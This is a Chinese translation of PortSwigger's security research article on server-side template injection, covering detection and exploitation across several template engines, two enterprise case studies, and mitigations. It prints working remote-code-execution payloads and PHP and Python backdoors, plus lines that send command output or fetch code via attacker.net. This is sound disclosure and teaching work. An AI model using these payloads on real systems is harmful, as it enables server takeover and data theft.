Research-服务端模板注入
翻译
原文:https://portswigger.net/research/server-side-template-injection
- name: 翻译
desc: 原文:https://portswigger.net/research/server-side-template-injection
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 服务端模板注入
Web 应用程序广泛使用模板引擎,并通过网页和电子邮件来呈现动态数据。如果在模板中不安全地嵌入用户输入,会导致服务端模板注入 (opens new window),这是一个经常出现的严重漏洞,且极易被误认为是跨站脚本(XSS) (opens new window),甚至完全错过。与 XSS 不同,模板注入可直接用于攻击 Web 服务器的内部,并经常获得远程代码执行(RCE),将每个易受攻击的应用程序变成潜在的入侵点。
模板注入既可以由开发人员的疏忽而产生,也可以通过 故意暴露模板以提供丰富的功能点 而产生,就像 Wiki、博客、营销应用程序 和 内容管理系统经常做的那样。有意的模板注入是一种及其常见的用例,许多模板引擎都为此提供了 “沙箱” 模式。
本文定义了一种检测和利用模板注入的方法,并展示了该方法的实际应用,为两个广泛部署的企业级 Web 应用程序创建 RCE 0day 漏洞。还演示了 五个最流行的模板引擎 的通用漏洞利用,包括从沙箱中逃脱,沙箱目的是为了 以安全的方式 处理用户提供的模板。
对于这项研究的不那么枯燥的描述,你可能更喜欢观看我在 Black Hat USA 上关于此主题的演讲文稿 (opens new window)。这项研究也可以被作为打印的白皮书 (opens new window)提供,你可以在我们的 Web 安全学院 (opens new window)中找到交互式实验室的概述。
提示
官方在此处提供了一个 YouTuBe 的视频链接:https://www.youtube.com/embed/3cT0uE7Y87s?origin=https://portswigger.net&rel=0 (opens new window)
# 1介绍
Web 应用程序经常使用 Twig (opens new window) 和 FreeMarker (opens new window) 等模板系统在网页和电子邮件中嵌入动态内容。当用户输入以不安全的方式嵌入到模板中时,就会发生模板注入。假设有一个营销应用程序,该应用程序可以批量发送电子邮件,并使用 Twig 模板按姓名问候每一位收件人。如果只是单纯的将名称传递到模板中,如下面的示例所示,则一切正常:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
但是,如果允许用户自定义这些电子邮件,就会出现问题:
$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name) );
在此示例中,用户通过 GET 参数custom_email
来控制模板本身的内容,而不是通过传递到其中的值。这导致了一个难以忽视的 XSS 漏洞。然而,XSS 只是一个更微妙、更严重漏洞的症状。这段代码实际上暴露了一个广泛、但容易被忽视的攻击面。以下两条问候消息的输出,暗示存在服务器端漏洞:
custom_email={{7*7}}
49
2
3
custom_email={{self}}
Object of class __TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string
2
3
我们在这里所做的事情,本质上是在沙箱中执行服务端代码。但根据所使用的模板引擎,这可能会逃离沙箱并执行任意代码。
此漏洞通常是由于 开发人员故意让用户提交或编辑模板 而产生的——某些模板引擎为此提供了一种安全模式。它远非特定于营销应用程序——任何支持 由高级用户提供标记 的功能,都可能容易受到攻击,包括 Wiki 页面、查阅甚至评论区。当用户输入被简单地拼接到模板中时,也可能出现意外地模板注入。
这似乎有点违反直觉,但它相当于 SQL 注入 (opens new window)漏洞发生在编写不当的预处理语句中,这是一种相对常见的情况。此外,无意的模板注入非常容易被遗漏,因为通常不会有任何可见的提示。与所有基于输入的漏洞一样,输入可能来自带外源。例如,它可能作为本地文件包含(LFI)变体出现,可通过经典 LFI 技术(例如嵌入存在于日志文件、会话文件 (opens new window)或/proc/self/env
中的代码)进行利用。
限定符 “Server-Side” 用于将其与客户端模板库中的漏洞区分开来(例如由 jQuery 和 KnockoutJS 提供的漏洞)。客户端模板注入通常被滥用于 XSS 攻击,正如 Mario Heiderich 所详述 (opens new window)的那样。本文将专门介绍攻击服务端模板,目标是为了获得任意代码执行。
# 2模板注入方法
根据我对一系列 易受攻击的应用程序和模板引擎 进行审计的经验,我定义了以下高级方法,来捕获有效的攻击过程:
# 2.1检测
此漏洞可能出现在 两种不同的上下文中,每种上下文都拥有自己的一套检测方法:
# 1. 文本上下文
大多数模板语言都支持自由格式的 “文本” 上下文,你可以直接在其中输入 HTML。它通常会以下列方式之一出现:
smarty=Hello {user.name}
Hello user1
2
freemarker=Hello ${username}
Hello newuser
2
any=<b>Hello</b>
<b>Hello<b>
2
这通常会导致 XSS,因此 XSS 的存在可以作为模板注入的探针,以更彻底的获取提示。模板语言使用特意选择的语法,不会与普通 HTML 中使用的字符发生冲突,因此手动黑盒安全审计,很容易完全错过模板注入。为了检测它,我们需要嵌入一个语句来调用模板引擎。模板语言数量众多,但其中许多都具有基本的语法特征。我们可以利用这一点,使用基本语法,发送通用的、与模板无特定关联的有效负载,以使用单个 HTTP 请求来检测多个模板引擎:
smarty=Hello ${7*7}
Hello 49
freemarker=Hello ${7*7}
Hello 49
2
3
4
5
# 2. 代码上下文
用户输入也可以放置在模板语句中,但通常作为变量名:
personal_greeting=username
Hello user01
2
在审计过程中,这种变体更容易被遗漏,因为它不会产生明显的 XSS,并且与简单的 hashmap 查找几乎没有区别。更改username
的值通常会导致空白结果 或 应用程序出错。先验证参数没有直接 XSS,然后脱离模板语句,并在其后注入 HTML 标记,能够以可靠的方式检测到它:
personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>
2
3
4
5
# 2.2识别 (opens new window)
当检测到模板注入之后,下一步是识别正在使用的模板引擎。此步骤有时 就像提交无效语法 一样简单,因为模板引擎可能会 在生成的错误消息中 标识自己。但是,当错误消息被抑制时,这种技术就会失效,并且不太适合自动化。相反,我们在 Burp Suite 中使用特定于语言的有效负载,通过决策树来自动化这一操作。绿色和红色箭头分别表示 “成功” 和 “失败” 响应。在某些情况下,单个有效负载 可以有多个不同的成功响应——例如,探测49
将在 Twig 中产生49
,在 Jinja2 中产生7777777
,如果没有使用模板语言,则两者都不会产生。
# 2.3利用
# 阅读
找到模板注入 并 确定模板引擎之后的第一步是阅读文档。这一步骤的重要性不容小觑;接下来的一个 0day 漏洞,纯粹源于勤奋的文档阅读。主要关注的领域包括:
- “For Template Authors”(模板作者)部分介绍了基本语法。
- “Security Considerations”(安全注意事项)——对于你正在测试的应用程序,开发它的人可能没有阅读此篇内容,并且它可能包含一些有用的提示。
- 内置方法、函数、过滤器和变量的列表。
- 扩展 / 插件列表——其中某些可能会默认启用。
# 探索
假如没有漏洞出现,下一步是探索环境,以找出你可以访问的确切内容。你可以期望,找到模板引擎提供的默认对象,以及开发人员 传递到模板应用程序 中的特定对象。许多模板系统公开了一个名为 “self” 或一个命名空间对象,其中包含运行环境内的所有内容,以及一种列出对象属性和方法的惯用方式。
如果没有内置的 self 对象,你将不得不暴力破解变量名称。为此,我通过 GitHub 收集了 PHP 项目中经常使用的 GET/POST 变量名称,并创建了一个单词列表,并通过 SecLists (opens new window) 和 Burp Intruder 的单词列表集合公开发布。
如果没有内建的self对象,你就不得不使用暴力的方法来命名变量名。我通过抓取GitHub上PHP项目中使用的GET/POST变量名来创建一个wordlist,并通过SecLists和Burp Intruder的wordlist集合公开发布。
开发人员提供的对象中,特别可能包含敏感信息,并且在同一应用程序中的不同模板之间,它可能会有所不同,因此理想情况下,此过程应该单独应用于每个不同的模板。
# 攻击
此时,你应该对 可用的攻击面 有一个明确的概念,并能够继续使用传统的安全审计技术,检查每个功能是否存在可利用的漏洞。在更广泛的 应用程序上下文中 处理此问题非常重要——某些函数可被用作 特定于应用程序的功能特性。在接下来的示例中,将使用模板注入来触发任意对象创建、任意文件读/写、远程文件包含、信息泄露 (opens new window)和权限提升漏洞。
# 3漏洞利用开发
我审核了一系列流行的模板引擎,以在实践中展示漏洞利用方法,并说明问题的严重性。这些发现可能展示了模板引擎本身的缺陷,但除非引擎将自己推销为 适合由用户提交的模板,否则阻止模板注入的责任最终在于 Web 应用程序开发人员。
有时,三十秒的文档阅读就足以获得 RCE。例如,利用未沙箱化的 Smarty 非常简单:
{php}echo `id`;{/php}
Mako 也很容易被利用:
<%
import os
x=os.popen('id').read()
%>
${x}
2
3
4
5
但是,许多模板引擎试图通过 限制应用程序逻辑执行任意代码 的能力,来防止应用程序逻辑侵入到模板中。使用模板的人很相信这种能力,并将限制和沙箱模板作为安全措施,以便能够安全地处理不受信任的输入。在这些措施之间,开发模板后门 可能是一个相当具有挑战性的过程。
# 4FreeMarker
FreeMarker 是最流行的 Java 模板语言之一,也是我最常向用户展示的语言。令人惊讶的是,官方网站解释了 允许用户提供模板时 的危险:
-
- 我可以允许用户上传模板吗?有什么安全隐患?
通常,除非这些用户是系统管理员 或 其他受信任的人员,否则不应允许这样做。将模板视为源代码的一部分,就像*.java
文件一样。但如果你仍然希望 允许用户上传模板,请考虑以下事项:
—— http://freemarker.org/docs/app_faq.html#faq_template_uploading_security
隐藏在一些较小的风险(如拒绝服务)背后,我们发现:
内置的new
(Configuration.setNewBuiltinClassResolver
,Environment.setNewBuiltinClassResolver
):它被用于模板"com.example.SomeClass"?new()
中,并且这对于部分在 Java 中实现的 FTL 库很重要,但在普通模板中应该不需要。虽然new
不会实例化TemplateModel
-s 以外的类,但 FreeMarker 包含一个可用于创建任意 Java 对象的TemplateModel
类。其他 “危险” 的 TemplateModel
-s 可以存在于你的类路径中。此外,即使一个类没有实现TemplateModel
,它的静态初始化也可能会被运行。为了避免这些情况,你应该使用TemplateClassResolver
来限制可访问的类(基于某个模板来要求它们),例如TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
。
这个警告有点隐晦,但它确实表明了内置的new
可能会提供一个有希望的利用途径。让我们看一下有关于new
的文档:
-
这种内置功能可能是一个安全问题,因为模板作者可以创建任意 Java 对象,然后使用它们,只要它们实现了TemplateModel
。甚至,模板作者还可以为没有实现TemplateModel
的类触发静态初始化。[snip] 如果你允许不太受信任的用户上传模板,那么你一定要好好研究一下这个话题。
—— http://freemarker.org/docs/ref_builtins_expert.html#ref_builtin_new
是否有任何有用的类实现了TemplateModel
?让我们来看看 JavaDoc:
其中一个类名很突出 - Execute
。
详细信息证实了它,它可以执行你所期望的事情 - 接受输入并执行它:
public class Execute
implements TemplateMethodModel
2
赋予 FreeMarker 执行外部命令的能力。这将派生一个进程,并将该内联进程 发送到 模板中的标准输出。
使用它非常简单:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
2
3
这个载荷稍后将派上用场。
# 5Velocity
Velocity (opens new window) 是另一种流行的 Java 模板语言,利用起来要复杂得多。没有 “安全注意事项” 帮助页面来指出最危险的函数,也没有明显的默认变量列表。以下屏幕截图展示了用于暴力破解变量名称的 Burp Intruder 工具,变量名位于左侧的 “payload” 列中,服务器的输出位于右侧。
class
变量(突出显示)看起来特别有希望,因为它返回一个泛型对象。在谷歌中搜索它会将我们带到 https://velocity.apache.org/tools/releases/2.0/summary.html (opens new window):
-
ClassTool:用于在模板中使用 Java 反射的工具
默认 key:$class
其中的一个方法和一个属性非常突出:
-
$class.inspect(class/object/string)
:返回一个新的 ClassTool 实例,该实例用于检查指定的类或对象
$class.type
:返回正在被检查的实际类
—— https://velocity.apache.org/tools/releases/2.0/summary.html
换句话说,我们可以将$class.inspect
与$class.type
链接起来,以获取对任意对象的引用。然后,我们可以使用 Runtime.exec() (opens new window) 在目标系统上执行任意 shell 命令。这可以使用以下模板进行确认,该模板旨在引起明显的时间延迟。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
2
3
获取 shell 命令的输出有点棘手(毕竟这是 Java):
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
2
3
4
5
6
7
8
9
10
# 6Smarty
Smarty (opens new window) 是最流行的 PHP 模板语言之一,它为不受信任的模板执行提供了安全模式 (opens new window)。这强制应用了一个安全 PHP 函数的白名单,因此模板不能直接调用system()
。然而,在可以获取引用的任何类上,这并不妨碍我们调用类中的方法。文档显示,内置变量$smarty
可用于访问各种环境变量,包括当前文件在$SCRIPT_NAME
的位置。变量名暴力破解会快速显示self
对象,该对象是对当前模板的引用。关于这方面的文档很少,但代码都在 GitHub 上。getStreamVariable (opens new window) 方法非常宝贵:
方法getStreamVariable
可用于读取服务器上具有 读+写 权限的任何文件:
{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
<?php
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');
...
2
3
4
5
6
7
8
9
10
此外,我们还可以调用任意静态方法。Smarty 公开了一系列宝贵的静态类,包括 Smarty_Internal_Write_File (opens new window),它具有以下方法:
public function writeFile($_filepath, $_contents, Smarty $smarty)
这个函数可被用于创建和覆盖任意文件,所以它可以很轻松地在 Web 根目录中创建一个 PHP 后门,从而使我们对服务器有近乎完全的控制权。但现在有一个问题 —— 第三个参数有一个Smarty
类型提示,因此它将拒绝任何非Smarty
类型的输入。这意味着我们需要获取对Smarty
对象的引用。
进一步的代码审计,发现 self::clearConfig() (opens new window) 方法是合适的:
/**
* Deassigns a single or all config variables
*
* @param string $varname variable name or null
*
* @return Smarty_Internal_Data current Smarty_Internal_Data (or Smarty or Smarty_Internal_Template) instance for chaining
*/
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
2
3
4
5
6
7
8
9
10
11
最终的漏洞利用,旨在用后门覆盖易受攻击的文件,如下所示:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# 7Twig
Twig 是另一种流行的 PHP 模板语言。默认情况下,它具有类似于 Smarty 安全模式的限制,但有几个重要的附加限制 —— 无法调用静态方法,并且所有函数的返回值都转换为字符串。这意味着我们不能像 Smarty 的self::clearConfig()
那样通过函数来获取对象引用。与 Smarty 不同,Twig 记录了它的自身对象(_self
),因此我们 不需要暴力破解任何变量名。
_self
对象不包含任何有用的方法,但它有一个env
属性,该属性引用了 Twig_Environment (opens new window) 对象,这看起来更有希望。Twig_Environment
上的 setCache (opens new window) 方法可用于更改已编译模板(PHP 文件)的位置,Twig 会从中加载和执行这些模板。因此,一个明显的攻击是修改缓存的位置,将其设置为远程服务器地址,从而引入远程文件包含漏洞:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
但是,现代版本的 PHP 默认情况下会通过 allow_url_include (opens new window) 禁用远程文件包含,因此这种方法没有多大用处。
(((译者加:???没有多大用处???亏我还高兴了一下下)))
进一步的代码审计揭示了在 getFilter (opens new window) 方法中,于第 874 行对危险的 call_user_func (opens new window) 函数进行了调用。只要我们控制了this
参数,它就可以用来调用任意的 PHP 函数。
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
因此,想要执行任意 shell 命令,只需将exec
注册为过滤器回调,然后调用getFilter
:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
2
3
# 8Twig(沙箱)
Twig 的沙箱引入了额外的限制。它禁用了属性检索,并添加了一个函数和方法调用的白名单。因此默认情况下,我们完全无法调用任何函数,即使是开发人员所提供对象上的方法。从表面上看,这使得漏洞利用几乎是不可能的。但不幸的是,消息来源 (opens new window)讲述了一个不同的故事:
public function checkMethodAllowed($obj, $method)
{
if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
return true;
}
2
3
4
5
多亏了这个代码片段,我们可以在实现了Twig_TemplateInterface
的对象上调用任何方法,这恰好包括_self
。而_self
对象的 displayBlock (opens new window) 方法提供了各种高级小工具:
public function displayBlock($name, array $context, array $blocks = array(), $useBlocks = true)
{
$name = (string) $name;
if ($useBlocks && isset($blocks[$name])) {
$template = $blocks[$name][0];
$block = $blocks[$name][1];
} elseif (isset($this->blocks[$name])) {
$template = $this->blocks[$name][0];
$block = $this->blocks[$name][1];
} else {
$template = null;
$block = null;
}
if (null !== $template) {
try {
$template->$block($context, $blocks);
} catch (Twig_Error $e) {
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
调用$template->$block($context, $blocks);
可以被滥用于绕过函数白名单,并在用户可以 获取引用的任何对象上 调用任何方法。以下代码将调用userObject
对象上的vulnerableMethod
方法,不带任何参数。
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}
这不能用来利用前面实现的Twig_Environment->getFilter()
方法,因为无法获取对Environment
对象的引用。但这确实意味着,我们可以在 由开发人员传递到模板中 的任何对象上调用方法 —— 可以遍历_context
对象的属性,以查看其中是否有任何有用的内容。稍后的 XWiki 示例演示了如何利用开发人员提供的类。
# 9Jade
Jade (opens new window) 是一个流行的 Node.js 模板引擎。该网站 CodePen.io (opens new window) 允许用户设计并提交多种语言的模板,适合展示纯粹的黑盒开发过程。有关以下步骤的直观描述,请参阅演示视频(链接待定)。
首先,确认模板执行:
= 7*7
49
2
3
找到 self 对象:
= root
[object global]
2
3
找到一种列出 对象属性和函数 的方法:
- var x = root
- for(var prop in x)
, #{prop}
, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root
2
3
4
5
探索有希望的对象:
- var x = root.process
- for(var prop in x)
, #{prop}
, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once
2
3
4
5
绕过微弱的措施:
- var x = root.process.mainModule
- for(var prop in x)
, #{prop}
CodePen removed the words below from your Jade because they could be used to do bad things. Please remove them and try again.
->process
->mainModule
2
3
4
5
6
7
绕过后:
- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}
, id, exports, parent, filename, loaded, children, paths, load, require, _compile
2
3
4
5
6
找到有用的功能:
- var x = root.process
- x = x.mainModule.require
- x('a')
Cannot find module 'a'
2
3
4
5
利用:
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
2
3
4
# 10案例研究:Alfresco
Alfresco (opens new window) 是一个面向企业用户的内容管理系统(CMS)。低权限用户可以通过 FreeMarker 模板注入在评论系统中链接存储型 XSS (opens new window) 漏洞,从而获得 Web 服务器上的 shell。前面创建的 FreeMarker 有效载荷无需任何修改即可直接使用,但我将其扩展为一个经典的后门,将查询字符串的内容作为 shell 命令执行:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex(url.getArgs())}
低权限用户没有编辑模板的权限,但存储型 XSS 漏洞可强制管理员为我们安装后门。我注入了以下 JavaScript 来发起此攻击:
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok)
do_csrf = new XMLHttpRequest();
do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace/SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false);
do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8');
do_csrf.setRequestHeader('Alfresco-CSRFToken',tok);
do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
2
3
4
5
6
7
在不同的安装过程中,模板的默认 GUID 可能会发生变化,但低权限用户可以通过 “数据字典” 轻松查看它。此外,与其他应用程序不同,管理员用户在可执行操作这一方面受到相当大的限制。在其他应用程序中,管理员被有意授予对 Web 服务器的完全控制权。
请注意,根据 Alfresco 自己的文档所述,SELinux 不会采取任何措施来限制所生成的 shell:
-
如果你通过安装向导部署了 Alfresco,则安装中包含的alfresco.sh
脚本将在整个系统中禁用安全增强型 Linux(SELinux)功能。
—— http://docs.alfresco.com/5.0/tasks/alfresco-start.html
# 10案例研究:XWiki Enterprise
XWiki Enterprise (opens new window) 是一个功能丰富的专业 wiki。在默认配置中,匿名用户可以在其上注册帐户并编辑 Wiki 页面,其中可以包含嵌入的 Velocity 模板代码。这使其成为模板注入的绝佳目标。但是,前面创建的通用 Velocity 有效负载将不起作用,因为$class
辅助程序不可用。
XWiki 有以下关于 Velocity 的内容:
它不需要特殊权限,因为它在沙箱中运行,只能访问少数几个安全对象,并且每个 API 调用都会检查 wiki 中配置的权限,禁止当前用户访问不应被允许 检索/执行 的资源或操作。其他脚本语言要求,编写脚本的用户必须具有执行脚本的编程权限,但除了这个初始前提条件之外,访问权限被授予服务器上的所有资源。
...
没有编程权限,就不可能实例化新对象,除了文字和 XWiki API 提供的安全对象。尽管如此,如果正确遵循“XWiki 使用方式”,则可以安全地开发各种应用程序,并使 XWiki API 足够强大。
...
对于需要编程权限的脚本,查看包含该脚本的页面不需要编程权限,只有在保存时才需要权限
http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting
2
3
4
5
6
7
换句话说,XWiki 不仅支持 Velocity —— 还支持非沙箱的 Groovy 和 Python 脚本。但是,这些仅限于具有编程权限的用户。很高兴知道这一点,因为它将权限提升 转换为 任意代码执行。由于我们只能使用 Velocity,因此我们仅限于 XWiki API (opens new window)。
$doc
类有一些非常有趣的方法 —— 精明的读者可能能够 识别以下隐含的漏洞:
Wiki 页面的内容作者,是上次编辑该页面的用户。如果存在不同的save
和saveAsAuthor
方法,则意味着save
方法不会另存为作者,而是另存为当前查看页面的人员。换言之,低权限用户可以创建一个 Wiki 页面,当具有编程权限的用户查看该页面时,该页面会以静默方式进行修改,并使用这些权限来保存修改。注入以下 Python 后门:
{{python}}from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
{{/python}}
2
3
4
5
我们只需要用一些代码来包装它,以获得路过管理员的权限:
innocent content
{{velocity}}
#if( $doc.hasAccessLevel("programming") )
$doc.setContent("
innocent content
{{python}}from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
{{/python}}
")
$doc.save()
#end
{{/velocity}}
2
3
4
5
6
7
8
9
10
11
12
13
14
一旦具有编程权限的用户,查看了包含此内容的 wiki 页面,它就会自行打开后门。随后查看该页面的任何用户,都可以使用它来执行任意 shell 命令:
虽然我选择利用$doc.save
,但它远非唯一有希望的 API 方法。其他可能有用的方法包括$xwiki.getURLContent("http://internal-server.net")
、$request.getCookie("password").getValue()
和$services.csrf.getToken()
。
# 11缓解措施 - 安全地模板化
如果 “用户提供模板” 是业务需求,应如何实现?我们已经看到,正则表达式不是一种有效的防御措施,解析器级别的沙箱很容易出错。
风险最低的方法是,简单地使用一个简易的模板引擎,例如 Mustache 或 Python 的模板。例如 MediaWiki(维基百科) 采取了使用沙箱 Lua 环境执行用户代码的方法,其中 具有潜在危险的模块和功能 已被彻底删除。这种策略似乎保持得很好,因为还没有人破坏维基百科。在像 Ruby 这样的语言中,可以使用猴子补丁来模拟这种方法。
(((译者加:有关于 “猴子补丁” 是什么,可以参阅文章1 (opens new window)、文章2 (opens new window))))
另一种补充方法是,承认任意代码执行是不可避免的,并将其沙箱放在封闭的 Docker 容器中。通过删除、只读文件系统和内核强化功能,可以构建一个难以逃脱的 “安全” 环境。
# 12issue 状态
我不认为 FreeMarker、Jade、Velocity 和未沙箱化的 Twig 是这些语言中的漏洞,就像 SQL 注入的可能性不是 MYSQL 的错一样。下表展示了 在本文中披露的漏洞 当前状态。
软件 | 状态 |
---|---|
Alfresco | 已确认披露,补丁正在开发中 |
XWiki | 没有可用的修复程序 - XWiki 的开发人员没有达成共识,不认为这是一个错误 |
Smarty 沙箱 | 已在 3.1.24 中修复 |
CodePen | 已修复 |
Twig 沙箱 | 已在 1.20.0 中修复 |
# 13结论
模板注入仅对 明确查找它的审计员 来说是明显的,并且可能错误地显示为低严重性,直到将精力投入到审计模板引擎的安全状态中。这就解释了为什么到目前为止,模板注入仍然相对未知,它在野外的流行率仍然有待确定。
模板引擎的沙箱位于服务器端。因此,允许不受信任的用户编辑模板,会带来一系列严重风险,这些风险在模板系统的文档中可能很明显,也可能不明显。许多旨在 防止模板造成伤害的现代技术 目前还不成熟,除非将其用于纵深防御措施,否则不应依赖这些技术。当模板注入发生时,无论它是否是故意的,它通常都是一个严重漏洞,会暴露 Web 应用程序、底层 Web 服务器和相邻网络服务。
通过彻底记录这个问题,并通过 Burp Suite 发布自动检测,我们希望提高人们对它的认识,并显着降低其流行率。
2020 年更新:我们刚刚发布了一些免费的交互式实验室,因此你可以自己练习和应用这些技术:
- name: 实验室
desc: 服务端模板注入实验室 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo-2.png
link: https://portswigger.net/web-security/server-side-template-injection/exploiting
bgColor: '#ffffff'
textColor: '#ff6633'
2
3
4
5
6